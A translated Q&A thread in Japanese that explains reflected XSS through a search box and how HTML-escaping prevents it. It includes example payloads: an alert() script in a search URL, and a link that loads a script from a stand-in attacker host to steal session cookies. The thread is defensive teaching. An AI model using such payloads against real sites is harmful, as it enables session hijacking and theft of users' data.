web-dev-qa-db-ja.com

典型的な「検索ボックス」XSS攻撃

私はサイトを開発しているときは常にセキュリティ上の欠陥を意識していますが、私のページで実行できるスクリプトを挿入するために検索ボックスがどのように使用されるかを知るのに苦労しています。

したがって、サニタイズの欠如から、DOMに入力が追加される可能性があることを理解しています。しかし-それで何ですか?ユーザーがjavascriptを検索語として使用することを期待していません。そのため、自分のページで実行することはありません。私はそれを文字列として扱うので、文字列のようにしか動作しません。または、ここで基本的な何かが欠けていますか?

ページに入力を追加できるのは、No search results found for "<script>malicious();</script>"をレンダリングする場合だけですが、検索語を実行することはありません。

ここで私は何を誤解していますか?

実際、検索ボックスのコンセプト以外に誰かが説明できるとしたら、それで満足です。 XSS攻撃の最後の部分を把握するのに苦労しています。

4
user81147

XSS攻撃の目的は、攻撃者がサイトから提供されるWebページに何らかの方法でコードを挿入することです。このコードは、サイトから提供されたのと同じように 同じOriginポリシー によって、サイトのCookieと提供したWebページのコンテンツに完全にアクセスできるという意味で特権的です。

したがって、サイトが次のようなリクエストに応答した場合

http://example.com/search?q=<script>alert(1)</script>

このHTMLを返す

<body>No search results found for "<script>alert(1);</script>"</body>

その後、そのスクリプトが実行され、警告ダイアログが表示されます。これはXSSの脆弱性です。一方、サイトが戻ってきた場合:

<body>No search results found for "&lt;script&gt;alert(1);&lt;/script&gt;"</body>

次に、少なくとも、XSS攻撃に対するある程度の保護があります。

実際の攻撃では、攻撃者はalertを使用せず、ログインしたユーザーとしてサイトでアクションを実行するか、ページまたはユーザーのCookieからデータを盗みます。 OWASP XSSチートシート を読んで、XSSの脆弱性を防ぐために適切なエスケープを実行する方法の詳細な説明と、より完全な説明を取得してください。

6
Neil Smithline

次のシナリオを想像してみてください。

  • ユーザーがサイトにログインしている、つまりセッションCookieを持っている。
  • ユーザーがハッカーによって制御されているサイトへのリンクにアクセスします。そのようなリンクは、攻撃者が<img src=http://your-site/...として制御するサイトに埋め込まれる可能性があります。または、メール内、広告内( malvertising を参照)などに配置できます。
  • リンクは、検索ボックスのXSS問題を使用して、サイトにコードを挿入します(例:http://your-site/search?q=This+will+not+be+found+<script+src=http://attacker/bad.js>)。

入力がDOMに追加される場合があります。しかし-それで何ですか?

攻撃者が制御するスクリプトがサイトのコンテキストで実行されるようになりました。これは、スクリプトが完全なDOMおよびhttpOnlyフラグが設定されていないすべてのCookieにアクセスできることを意味します。スクリプトは次のようなサイト内のあらゆることを実行できます。

  • セッションCookieを攻撃者に送信して、セッションハイジャックを実行できるようにする。
  • 侮辱的な記事を投稿したり、さらに悪いことに、ログインしたユーザーとして何らかのアクションを実行する。つまりユーザーがサイトでできることは何でも。
2
Steffen Ullrich

ユーザーがJavaScriptを検索語として使用することを期待していません

そして、ユーザーはおそらくそうしません(どのような種類のWebサイトを持っているかによって異なります)。

しかし、攻撃者はそうするでしょう。

そして、被害者に有害なJavaScriptを検索させ(リンクを送信するなど)、被害者のブラウザのコンテキストで実行します。つまり、攻撃者はWebサイトがユーザーに表示するすべてのデータを読み取ることができ、Webサイトの外観をユーザーに変更したり、Webサイトでユーザーの名前で任意のアクションを実行したりすることができます。

だから私は自分のページでそれを実行しようとは決してしません。
しかし、私は検索用語を実行させません。

正しい。しかし、どうやってそれを行うのですか?攻撃者が<script>alert(1);</script>を検索した場合、このJavaScriptコードが送信先のブラウザで実行されないようにするにはどうすればよいですか?

私はそれを文字列として扱うので、文字列のようにしか動作しません。

ただし、クライアントに送信するものはすべて文字列として扱われ、スクリプトは引き続き実行されます。

(ほとんどの場合)入力をHTMLエンコードする必要があります。このように、実際には通常のテキストのように扱われ、HTMLコードとしては扱われません。

さまざまなタイプ、例などの preventing XSS または一般的な XSSに関する情報 の詳細については、OWASPなどを参照してください。

1
tim